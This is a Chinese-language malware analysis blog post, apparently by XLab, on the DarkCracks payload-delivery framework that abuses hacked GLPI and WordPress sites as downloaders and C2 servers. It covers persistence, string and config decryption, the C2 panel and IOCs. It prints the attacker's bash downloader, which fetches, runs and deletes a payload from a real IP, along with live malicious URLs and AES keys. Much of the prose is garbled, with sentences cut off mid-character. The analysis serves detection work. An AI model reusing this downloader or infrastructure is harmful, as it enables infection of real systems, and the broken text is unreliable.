通过XLab指乎跟踪系统中捕获更换C2指令，&#x65B
PRESS站点。
在Github上发现存储配置文件的项目soduku1，创&#x5EFA

在VirusTotal上发现与Client同源的ELF文件c447f7980a18205f309d8432f312fe69
，此文件中的带有源码路径<code>/home/erin/Desktop/Works/smart-
update/SmartUpdate/client</code>。
XLab主动联系受害者，获得C2
Panel，最终掌握了"管理员模式"的运行机&#x523

在Github上发现另一项目ftMQPwsMnB，包含诱饵文件
<code>김영미 이력서</code>，以及QuasarRAT。
综上所述，一个至少活跃了1年以上，设&#x
WORDPRESS站点充当Downloader &
C2，主要目的是收集被入侵设备敏感信息&#xFF
<code>高持续、高隐匿、高完善的升级设计、&
</code>等迹象表明该框架背后的攻击者并非普
<code>Crackalackin</code>，我们内部将这个框架称为DarkCracks。&#x5
 <h1 id="%E6%94%BB%E5%87%BB%E7%9B%AE%E6%A0%87">攻击目标</h1> DarkCracks
根据受害者设备的性能差异分配不同角&#x8272
C2 和 Downloader；而性能较弱的设备则充当 Bot
业务节点。 DarkCracks 的一类攻击目标是Word
Press以及GLPI。WordPress，一个世界知名的web内容管理&#
Libre de Parc Informatique）是一款开源的 IT
资产管理和服务管理系统，它主要用于&#x5E2E
IT 基础设施的管理和维护效率。
在我们观察到的13个C2/Downloader中
(被入侵的设备)，涉及不同国家的城市公&#x4E
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_glpivictims.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy"> 根据奇安信鹰图
的统计，近一个月暴露在公网上的GLPI服&#x
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_statis.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy"> <h1 id="%E6%97%B6%E9%97%B4%E7%BA%BF">时间线</h1>
根据我们掌握的线索，我们整理了以下
DarkCracks
的活动时间线。需要注意的是，这仅基&#x4E8E
的实际活动可能早于此时间线。
2023.07.11，adrhpbrn29创建项目soduku1，用于存储备用配置

2023.07.18，未加密的Client从中国被上传到VT，敏感&

2024.05.23，Runner样本先后从波兰、韩国、荷兰、&#x
 2024.06.05，DarkCracks

Downloader首次进入视野，XLab发现45.169.87.67被黑，提供&#x4F

2024.06.06，完成对Runner的分析，成功解密配置文&#x
<code>SUC 2.0</code>，部分CPU架构样本支持DGA。
2024.06.10，捕获更新C2指令，新的C2为被黑的Word
Press站点。
2024.06.12，发现179.191.68.85被黑，充当DarkCracks的下载服务&#
<code>SUC 2.01</code>，全系CPU架构支持DGA。
2024.06.14，受害者向XLab提供黑客在其设备的留&#x4E
panel，配置文件等。
2024.07.23，另一Runner样本先后从芬兰，日本和美&#x

2024.08.23，adrhpbrn29创建项目ftMQPwsMnB，传播远控木马QuasarRAT&#x3
  <h1 id="%E6%8A%80%E6%9C%AF%E7%BB%86%E8%8A%82">技术细节</h1>
接下来，我们将从Downloader开始，逐步引出Darkcracks
Panel。通过对各个组件功能的详细分析，我&#
 <h2 id="part1-downloader%E5%88%86%E6%9E%90">Part1: Downloader分析</h2>
关于Downloader，我们观察到2种不同的形式，一&
Stagers，它首先接收shellcode构建shell执行环境，然后&#
 <h3 id="0x01-metasploit-stager">0x01: Metasploit Stager</h3> <pre><code> MD5: 8b3d2b156424e5a0dc3f6d2b0dec96b2 Magic: ELF 64-bit LSB
executable, x86-64, version 1 (SYSV), statically linked </code></pre>
Stager与213.139.233.163:18441通信，产生的网络流量如下所&#
x64-musl。 <img src="https://blog.xlab.qianxin.com/content/images/2024/07/smartupdate_meta.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&#
loading="lazy">
wk8dnj2k正是DarkCracks的Runner组件，在45.169.87.67我们发现了gnu,
uclibc，musl等编译器产生的ARM,MIPS,X86/64 CPU架构的Runner <code>wk8dnj2k-
{cpu}-{compiler}</code>，加密的Client <code>se3hf6jwc-{cpu}-{compiler}
</code>，以及加密的配置文件<code>qoakeifm-unknown.txt</code>。 <img
src="https://blog.xlab.qianxin.com/content/images/2024/07/smartupdate_45.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy"> <h3 id="0x02-bash-script">0x02: Bash Script</h3> <pre><code>MD5: f8a495a98c43b0805f53be14db09c409 Magic: Bourne-Again shell
script text executable </code></pre>
Script的功能一目了然，向179.191.68.85请求<code>pQ1iM9hd-x64-
musl</code>以及
<code>j8UgL3v</code>；其中前者为Runner，后者为加密的配&#x7F
 <pre><code>#!/bin/bash cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget
"http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/pQ1iM9hd-x64-musl" -O wdvsh|curl
"http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/pQ1iM9hd-x64-musl" -o wdvsh; wget
http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/j8UgL3v -O agr|curl
http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/j8UgL3v -o agr; chmod +x ./wdvsh; ./wdvsh agr; sleep 3; rm ./wdvsh; rm ./agr;
</code></pre>
同样179.191.68.85上也保存着Darkcracks的各种CPU架构的不&#
 <img src="https://blog.xlab.qianxin.com/content/images/2024/07/smartupdate_179.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy"> <h2 id="part2-runner%E5%88%86%E6%9E%90">Part2: Runner分析</h2> 45.169.87.67承载的Runner
wk8dnj2k-{cpu}
{compiler}，版本号为2.0；179.191.68.85中的pQ1iM9hd系列版本号&#x4E
X64
Cpu架构的Runner为主要分析对象，以下为它的&#x57F
 <pre><code>Name: wk8dnj2k-x64 MD5: 93a7cba1edbacb633021ebc38c10a79f Magic:ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked (uses shared libs), for GNU/Linux 3.2.0, stripped </code></pre>
正如其名称所示，Runner的主要功能是充当&#x542
Client。具体来说，当 Runner
运行时，它首先检查运行参数，并且最&#x591A
JSON
格式配置文件。合法的配置文件在解密&#x540E
<code>key</code>（解密 Client 所需的密钥和 IV）、
<code>emUrl</code>（备用配置文件的下载地址）以及
<code>clientUrl</code>（加密 Client 的下载地址）。
在配置文件通过合法性验证后，Runner会创&#x5EF
<code>/var/tmp/.shm</code>，将自身移动到该目录，并重命&#x54
UUID
格式的文件名。接着生成一个新的加密&#x6587
<code>2b6f92be-6ff1-4b6d-98ce-f5597c69f4b1</code>，该文件的 <code>SH3</code>
字段保存了原始配置文件的内容。随后&#x901A
<code>crontab</code>、<code>bash_profile</code> 或 <code>/etc/init.d/rnd</code>
等方式实现持久化。最后下载、解密并&#x6267
Client。
如果未指定参数，Runner将检查是否存在文&#x4EF
<code>/var/tmp/.shm/2b6f92be-6ff1-4b6d-98ce-f5597c69f4b1</code>，通过 <code>SH3</code>
字段获取配置文件，然后进入解密配置&#x6587
Client 的流程。 <h3
id="%E8%A7%A3%E5%AF%86%E5%AD%97%E4%B8%B2%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6">解密字串&配置文&#x4
</h3> <h3 id="0x01-%E6%95%8F%E6%84%9F%E5%AD%97%E4%B8%B2">0x01: 敏感字串</h3>
为了保护功能不被一眼看破，Runner将敏感&#x768
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_decstr.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy">
该如何解密字符串呢？可以直接使用flare_emu&#x
 <pre><code>import flare_emu def ignorefree(eh, address, argv, funcName, userData): eh.uc.reg_write(eh.regs["rax"], 0)
ciphertxt=b'9MwEVEVWWExM5AkO' eh=flare_emu.EmuHelper() eh.apiHooks['free']=ignorefree
eh.emulateRange(startAddr=0x00000000000F9D0,skipCalls=False,registers={'rdi':ciphertxt})
print(eh.getEmuString(eh.getRegVal('ret'))) </code></pre>
当然作为安全分析肯定不会满足黑盒式&#x7
  字串逆序列，Base64 URLSafe模式解码 与
<code>Crackalackin'</code>逐字节异或
英文字母大小写互换，Base64 URLSafe模式解码
最终我们实现了附录中的IDAPython脚本用于还&#x
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_afterdec.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy"> <h3 id="0x02-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6">0x02: 配置文件</h3>
关于配置文件，我们一共捕获了2份，qoakeifm-
unknown和j8UgL3v。配置文件使用了和敏感字串相同&
   45.169.87.67中的配置文件qoakeifm-unknown
 <img
src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_qoak.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy">   179.191.68.85中的配置文件j8UgL3v <img
src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_j8ug.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy">
配置文件中各字段的说明见下表： <table> <thead>
<tr> <th>Item</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>key</td> <td>AES KEY&IV</td> </tr> <tr> <td>url</td> <td>Client
Report Entry</td> </tr> <tr> <td>authHeader</td> <td>Auth String</td> </tr> <tr> <td>emUrl</td> <td>Backup Config</td> </tr> <tr>
<td>runnerUrl</td> <td>Runner Download URL</td> </tr> <tr> <td>clientUrl</td> <td>Client Download URL</td> </tr> </tbody> </table> <h3

id="%E6%96%87%E4%BB%B6%E4%BC%AA%E8%A3%85%E6%8C%81%E4%B9%85%E5%8C%96">文件伪装&持久化</h3>
当合法的配置文件成功解密后，Runner会创&#x5EF
6ff1-4b6d-98ce-f5597c69f4b1。 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_2b6.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy"> 2b6f92be-6ff1-4b6d-98ce-f5597c69f4b1也是JSON格式，其中
<code>SH1</code>的内容为UUID的文件名，
<code>SH3</code>的内容为原始配置文件。 <img
src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_sh1sh3.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy">
当Runner完成文件伪装之后，接着使用以下&#x4EF
   若设备支持crontab，直接使用
<code>crontab</code>实现持久化。 <img
src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_crontab.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy">
若1不满足，且当前用户组为普通用户，&#x
<code>.bash_profile</code>实现持久化。 <img
src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_bash.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy">
若1不满足，且当前用户组为root用户，通&#x8FC7
<code>/etc/init.d/rnd</code>实现持久化。 <img
src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_initd.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy">   <h3
id="%E4%B8%8B%E8%BD%BD%E5%8A%A0%E5%AF%86%E7%9A%84client">下载加密的Client</h3>
Runner使用一个永真的的代码片段依次向3类&#x4E
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_3try.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy">
其中clienturl属于直接模式，只需要将其与样&#x
<code>seed_string</code>字串定位其中的备用配置文件信&#x606F
三者构成了一个多层级的冗余结构，第&#x4E00
 <h3 id="0x01emurl">0x01:EmUrl</h3>
clienturl的处理过程很简单，此处不再赘，让&#x
unknown中的emurl
<code>https://raw.githubusercontent.com/adrhpbrn29/sudoku1/main/main.cpp</code>为例，以下为保存
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_seed.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy">
seed_string中的备用配置解密后如下所示，Runner获&#x
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_emurl.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy">
sudoku1项目于2023年7月11日17:08:29创建，17:24:02提交第一&#x676
 <table> <thead> <tr> <th>Commit</th> <th>Date</th> <th>authHeader</th> </tr> </thead> <tbody> <tr> <td>e1e10dc</td> <td>2024.03.28</td>
<td>LJHRQWE</td> </tr> <tr> <td>abb67fc</td> <td>2024.03.13</td> <td>LJHRQWE</td> </tr> <tr> <td>6392b06</td> <td>2023.12.27</td>
<td>LJHRQWE</td> </tr> <tr> <td>c72963b</td> <td>2023.10.04</td> <td>SLDJKFA</td> </tr> <tr> <td>248c8a8</td> <td>2023.10.04</td> <td>Linux
Max</td> </tr> <tr> <td>5970967</td> <td>2023.07.11</td> <td>Rbz021g6</td> </tr> </tbody> </table> 我们使用"git
diff"核对了所有的提交记录，发现变化集&#x4E
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_git.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy"> 而配置文件j8UgL3v中的emurl
<code>https://pastebin[.]com/raw/GYEBVyMR</code>，
除了上述seed_string之外（详情见IOC中的pastebin小节）&
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_ips.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy"> <h3 id="0x02-dgaurl">0x02: DGAUrl</h3>
dgaurl与emurl的处理逻辑是一样的，那它们有什&
<code>UVDFUgOAgjL.com</code>。 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_dga.png"
alt="DarkCracks, 一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy">
我们核对了2023年至今dgaurl（详情见IOC中的DGA小&#x8
 <h3 id="%E8%A7%A3%E5%AF%86%E6%89%A7%E8%A1%8Cclient">解密执行Client</h3> Client使用AES
CBC模式加密，解密所需的秘钥&IV由配置文&#x4E
<code>2D8C7FEE42D3DB4A8E55FBFF65351E1BB8ADDBA8FCBD0F85EE1CA5033D0DF342</code>。
它对应的秘钥与IV如下示， AES KEY: 2D 8C 7F EE 42 D3 DB 4A 8E
55 FB FF 65 35 1E 1B AES IV: B8 AD DB A8 FC BD 0F 85 EE 1C A5 03 3D 0D F3 42
Runner在成功解密Client之后，将其保存在/tmp目录&#x
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_launch.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy"> <h2 id="part3-client%E5%88%86%E6%9E%90">Part3: Client分析</h2>
关于Client，我们以<code>se3hf6jwc-
x64</code>做为主要分析对象，以下为它解密前&#x54
 <pre><code>Name:se3hf6jwc-x64 MD5:81eccc9c10368aa54cfed371f83da45a MD5:fe5f484f71bf0fd7afa56e60da7eec6f (Decrypted) Magic:ELF 64-bit LSB
shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, stripped </code></pre>
经过分析，我们确认Client使用了和Runner类似的
  NewVersion：下载更新Runner，Client
NewLauncherVersion：下载更新Launcher
versionCheckerUrl：更新C2上报入口 <h3 id="c2%E9%80%9A%E4%BF%A1">C2通񎇡
</h3>
Client通过以下代码片段构建JSON格式上线信息&#
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_beacon.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy">
以实际捕获的流量为例，可以看出交互&#x6
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_packet.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy">
C2的回包解密后如下所示，Client收到此消息&#xF
 <pre><code>{ "versionCheckerUrl":"https:\\/\\/www.miracles.com.hk\\/wp-content\\/plugins\\/foxiplugin\\/detail.php",
"authHeader":"Linux MaEW" } </code></pre> <h3
id="launcher%E7%BB%84%E4%BB%B6%E7%9A%84%E6%8E%A8%E6%B5%8B">Launcher组件的推测</h3>
目前，我们没有捕获的Launcher组件，但根据Client&#x5BF

Launcher被加密存放在远程服务器上，使用的&#x
Launcher也支持和Runner,Client一样的加密算法

 Launcher同样是被配置文件驱动，核心配置保存在于
<code>/var/tmp/.shm/9d8dadaf-6c7e-4975-b26d-ec17e67493c6</code> <h3
id="client%E7%9A%84%E6%BC%94%E5%8C%96">Client的演化</h3>
我们对比了2.0，2.01的Client样本，样本层面的&#x53D8
 <table> <thead> <tr> <th>Version</th> <th>Encrypted String</th> <th>DGA</th> </tr> </thead> <tbody> <tr> <td>SUC 2.0</td> <td>N (x86/x64
Y)</td> <td>N (x86/x64 Y)</td> </tr> <tr> <td>SUC 2.01</td> <td>Y</td> <td>Y</td> </tr> </tbody> </table>
有意思的一个点是，其实在SUC2.0中x86/64架构的
敏感字串加密以及DGA特性
。可以看出Darkcracks对于功能升级比较谨慎&#xF

 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_client.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy"> <h2 id="part4-c2-panel%E5%88%86%E6%9E%90">Part4: C2 Panel分析</h2>
某个被感染的用户向我们提供了其设备&#x4
Panel文件，它的基本信息如下所示： <pre><code>MD5:
8103a187a710378020dbdee8ff213b5b MD5: 69ef27f8e69dbba222c3c33a53906d79 (Deobfuscate) Obfucation: Yes </code></pre>
该文件采用了多层混淆，只需要逐层将eval

 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_code.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy"> C2
Panel由PHP语言实现，代码在600行左右，功能比&#x8
<code>tem9FG5.tmp</code>对不同来源的请求做出回应，支&#x6301
Master，C2
Pannel根据请求报文对配置文件进行“增，删&

如何区分请求来源呢？答案是authentication字段&#xFF0
Master；否则就是来自于Bot。authentication字段的另一个&
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_condition.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy">
某种意义上来说，配置文件tem9FG5.tmp相关于一&
Master的设置，它保存着Bot的信息，那它的格&#x5F0
  初化始配置文件，设定authHeader <pre><code>
{"authentication":"Statistics","isActive":true,"authHeader":"XLab"} </code></pre> <ol
start="2"> Bot上线 <pre><code>{"authentication":"XLab","uuid":"fac60bdc-5786-
415e-8992-79abcb132d64","platform":"x64 / root(0) / Linux","interval":8867000,"version":"SUC
2.01","launcherVersion":""} </code></pre> <img
src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_test.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy"> 测试机器上的C2
Panel对于以上请求生成的加密配置文件如下&#
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_testconfig.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy">
配置文件的解密比较简单，可需使用
<code>strrev(convert_uudecode($input))
</code>即可解密，解密后的明文和我们构造的
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_config.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy">
以下为配置支持的字段以及它们的含义&#x3
 <table> <thead> <tr> <th>Item</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>config</td> <td>C2 Status</td> </tr> <tr>
<td>clients</td> <td>Bot info</td> </tr> <tr> <td>pendingChanges</td> <td>Config to be delivered</td> </tr> <tr> <td>sessions</td> <td>Cmd
output from bot</td> </tr> <tr> <td>sessionCommands</td> <td>Cmds to be delivered</td> </tr> </tbody> </table> Bot
Master通过pendingChanges，sessionCommands俩个字段向Bot投递指令。&
 <img src="https://blog.xlab.qianxin.com/content/images/2024/09/smartupdate_pending.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy">
受害者向我们提供的配置文件中的pendingChanges&#x6D8
<code>soussanart.com</code>，我们向其发送查询客户端请求&#xF
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_json.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy">
至此，我们对DarkCracks的分析告一段落。很显&#
 <h2 id="part5-%E6%96%B0%E9%A1%B9%E7%9B%AEftmqpwsmnb%E5%88%86%E6%9E%90">Part5: 新项目ftMQPwsMnB分析</h2>
2024年8月23日，当我们完成本文大部分内容&#xFF
<code>config.ini,Updater.exe,version.dll</code>3个文件。 <img
src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_newgit.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy">
快速分析之后，我们确认version.dll是恶意的，&
KEY为<code>FCFF50FB13B09C44F806CF4947381718</code>，IV为
<code>2DD695D6845AA9F83F0071B709D78CBD</code>。除AES之外，还使用了XOR对字&#x4
<code>quackquack</code>。 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_newaes.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy">
目前ftMQPwsMnB项目共有5次提交记录，虽然version.dll&#x768
 <table> <thead> <tr> <th>Commit</th> <th>Md5 of Version</th> <th>Md5 of "Binary"</th> </tr> </thead> <tbody> <tr>
<td>7ddc62e</td> <td>456d05566fc3391e195a5f9cb346c92c</td> <td>91bcbf4de7ff8bddebdc49b62cad1ac1</td> </tr> <tr> <td>ab75b85</td>
<td>c2d69f5e5fa2af8131f1cb3d9fdfbd4b</td> <td>05481286a1aa1f0d7d9df7bbbb3aeb73</td> </tr> <tr> <td>ab6a892</td>
<td>9e94126e8a26efd10b2a5b179d64be90</td> <td>05481286a1aa1f0d7d9df7bbbb3aeb73</td> </tr> <tr> <td>271b28c</td>
<td>ceb7f3d92096892410e041a3b318ab9b</td> <td>05481286a1aa1f0d7d9df7bbbb3aeb73</td> </tr> <tr> <td>653eb26</td>
<td>ca93591a9441a2ade70821f67292d982</td> <td>6176c8374cd656783c9b354944c8052e</td> </tr> </tbody> </table>
关于远控木马QuasarRAT，网络上已有非常多的&#x
<code>ab75b85</code>投递的QuasarRAT为例，它的配置文件如下&#
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_ratjson.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy">
目前我们还没有发现这个项目的使用场&#x6
<a href="https://www.bandisoft.com/?
ref=blog.xlab.qianxin.com">bandisoft相关，因此我们推测其中的&#x4E00
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_bandfee.png" alt="DarkCracks,
一个利用被黑GLPI,
WORDPRESS站点充当中转的高级恶意载荷&升级框&
loading="lazy">
8月26日，该项目又新增2个提交记录，增加
<code>김영미 이력서</code>，即Kim Young-mi's
resume。resume是常见的钓鱼诱饵文件，我们推测Dar
 <table> <thead> <tr> <th>Date</th> <th>Commit</th> <th>Filename</th> <th>MD5</th> </tr> </thead> <tbody> <tr> <td>2024/08/26 09:19:32</td>
<td>5130de3</td> <td>resume.pdf</td> <td>71ebe71eec7e0f2420cd931534dd22c3</td> </tr> <tr> <td>2024/08/26 10:09:27</td> <td>a04bf51</td>
<td>김영미 이력서.pdf</td> <td>71ebe71eec7e0f2420cd931534dd22c3</td> </tr> </tbody> </table> <h1
id="%E6%80%BB%E7%BB%93">总结</h1>

DarkCracks是一个设计简洁但灵活的payload投递与升&#x
Panel的管理模式很容易获得，了解协议的人&#
 我们建议网络管理员通过上文所述与
<code>/var/tmp/.shm</code>相关技术细节判断感染与否，欢&#x8F

这是我们目前掌握的关于DarkCracks所有情报。&#
X平台
与我们联系，获取更多详细信息。 <h1
id="ioc">IOC</h1> <h2 id="md5">MD5</h2> <pre><code>Runner c30e9934299fd43527834086b6cfa26a *pQ1iM9hd-armv5-uclibc
8c53e98685fc3ce8b86055991b905926 *pQ1iM9hd-armv6-gnu 257c9ec1241b3fa59565edec9689276b *pQ1iM9hd-armv8-gnu 281e4ede8ffc0f854ce671b5b3ae06f8
*pQ1iM9hd-mips-uclibc 21732589b41506e1e7de87d7066ea43e *pQ1iM9hd-mipsel-uclibc 93a7cba1edbacb633021ebc38c10a79f *pQ1iM9hd-x64
036d6c73fe7a568160f3de8a98d0a58b *pQ1iM9hd-x64-musl 5340ee724893fd596852f22ecbc3e795 *pQ1iM9hd-x86 c6909b8b8bc55fac85c5fe650c7df42a *wk8dnj2k-
armv5-uclibc 227d19736af70bef817da96668994af8 *wk8dnj2k-armv6-gnu a18957196842c78cbce2247d766712ad *wk8dnj2k-armv8-gnu
0dd9e350aafe0d1c9e619d27ebd2ccfd *wk8dnj2k-mips-uclibc 8859d9b1c3f41b9dad3cee68adaddd92 *wk8dnj2k-mipsel-uclibc
93a7cba1edbacb633021ebc38c10a79f *wk8dnj2k-x64 e587cd53059f58526be7e2167cf7177b *wk8dnj2k-x64-musl 5340ee724893fd596852f22ecbc3e795 *wk8dnj2k-
x86 Client af93dc3d635ed3b46439e38fae8ecf6b *mY5bJK7e-armv5-uclibc b0f7df80d2adda176f8d58a55b773eed *mY5bJK7e-armv5-uclibc.decrypted
7d6ea278b5ae9081c03e340d6f98a4a5 *mY5bJK7e-armv6-gnu 635a7ae54cb7966d61e2e8f64391e870 *mY5bJK7e-armv6-gnu.decrypted
c1d07c102e436284d3fbce0410658ae8 *mY5bJK7e-armv8-gnu 11d4db491fe82e37ff0a5c3787cfa143 *mY5bJK7e-armv8-gnu.decrypted
4e64816a821ce2eb231a5be5395a2f20 *mY5bJK7e-mips-uclibc 2e7d67a3be72c5d1718fc2689c0d5d08 *mY5bJK7e-mips-uclibc.decrypted
5e9bf8a980bcc4d004ff505778b843e6 *mY5bJK7e-mipsel-uclibc 527cc24f043c58101c122c2a2f6c6d8e *mY5bJK7e-mipsel-uclibc.decrypted
5b39497af0d9874d38288476d3a9f5a4 *mY5bJK7e-x64 dffee792a8e65d38d897bd3400aecd3d *mY5bJK7e-x64.decrypted 7515282b084374d9d8b87e46b87e4af8
*mY5bJK7e-x64-musl ee0d3c3c528034fa3ebdc37596014382 *mY5bJK7e-x64-musl.decrypted d41c379725973e97ef9cbafb1efdb2f3 *mY5bJK7e-x86
1d407ff91ce19afc82f7946c3ec24dea *mY5bJK7e-x86.decrypted a1f3e574799c3f874a8d3563dbc55f4c *se3hf6jwc-armv5-uclibc
ad831d9c00c90fead925f4575f4a6a9a *se3hf6jwc-armv5-uclibc.decrypted 2b5df28714421d79ab3e63eac538d853 *se3hf6jwc-armv6-gnu
2107625e9980d190e3214ef09a83608f *se3hf6jwc-armv6-gnu.decrypted 35f846e24d0cccb5a3ec736c07f6a0a2 *se3hf6jwc-armv8-gnu
5fbe460fc8fa09dc6adc73e5e908cd0e *se3hf6jwc-armv8-gnu.decrypted 27f18a27942fbb71c4e84736db45b5cf *se3hf6jwc-mips-uclibc
e1674821a190f5250e6aba40916c9061 *se3hf6jwc-mips-uclibc.decrypted b1040f3193d4bec01b13bc73ecaa2587 *se3hf6jwc-mipsel-uclibc
7c33c052c5d451ba4069639286dfc4b5 *se3hf6jwc-mipsel-uclibc.decrypted 81eccc9c10368aa54cfed371f83da45a *se3hf6jwc-x64
fe5f484f71bf0fd7afa56e60da7eec6f *se3hf6jwc-x64.decrypted 08169e20daaad052075bd4026c8e287f *se3hf6jwc-x64-musl 2caf09452e79390f09bebf27dad9acf4
*se3hf6jwc-x64-musl.decrypted 5421bc92f2dd8f37538c2023c1e2f8ee *se3hf6jwc-x86 7168f47f067d260c34543e32a7a55cbd *se3hf6jwc-x86.decrypted Config
4e52426a96baf84431775adf2d6f0ae2 *j8UgL3v 4a642a86a8d8e71e5f163fa54eda9241 *qoakeifm-unknown.txt </code></pre> <h2
id="downloader">Downloader</h2> <pre><code>https://www.auntyaliceschool.site/wp-admin/maint/{se3hf6jwc|wk8dnj2k}
http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/{mY5bJK7e|pQ1iM9hd}
http://45.169.87.67/vendor/sabre/event/lib/Promise/{se3hf6jwc|wk8dnj2k} </code></pre> <h2 id="c2-victims">C2 (Victims)</h2> <pre>
<code>http://187.190.1.137/vendor/guzzlehttp/guzzle/src/Exception/detail.php
http://204.199.192.44/vendor/paragonie/sodium_compat/src/Core32/Poly25519.php
http://148.102.51.6/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.php
http://158.177.2.191/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.php
http://64.227.0.146/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.php
http://216.238.103.62:8013/vendor/guzzlehttp/guzzle/src/Exception/DNSException.php
